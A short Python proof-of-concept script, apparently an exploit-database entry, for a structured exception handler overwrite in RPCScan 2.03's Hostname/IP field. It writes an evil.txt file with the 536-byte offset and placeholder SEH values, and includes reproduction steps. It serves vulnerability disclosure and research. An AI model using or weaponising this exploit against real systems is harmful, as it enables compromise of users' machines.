#!/usr/bin/python
# Exploit Title : RPCScan v2.03 Hostname/IP Field SEH Overwrite POC
# Discovery by : Nipun Jaswal
# Email : mail@nipunjaswal.info
# Discovery Date : 08/05/2016
# Vendor Homepage : http://samspade.org
# Software Link : http://www.mcafee.com/in/downloads/free-tools/rpcscan.aspx#
# Tested Version : 2.03
# Vulnerability Type: SEH Overwrite POC
# Tested on OS : Windows 7 Home Basic
# Steps to Reproduce: Copy contents of evil.txt file and paste in the Hostname/IP Field. Press ->
##########################################################################################
# -----------------------------------NOTES----------------------------------------------#
##########################################################################################
#SEH chain of main thread
#Address SE handler
#0012FAA0 43434343
#42424242 *** CORRUPT ENTRY ***
# Offset to the SEH Frame is 536
buffer = "A"*536
# Address of the Next SEH Frame
nseh = "B"*4
# Address to the Handler Code, Generally P/P/R Address
seh = "C" *4
f = open("evil.txt", "wb")
f.write(buffer+nseh+seh)
f.close()
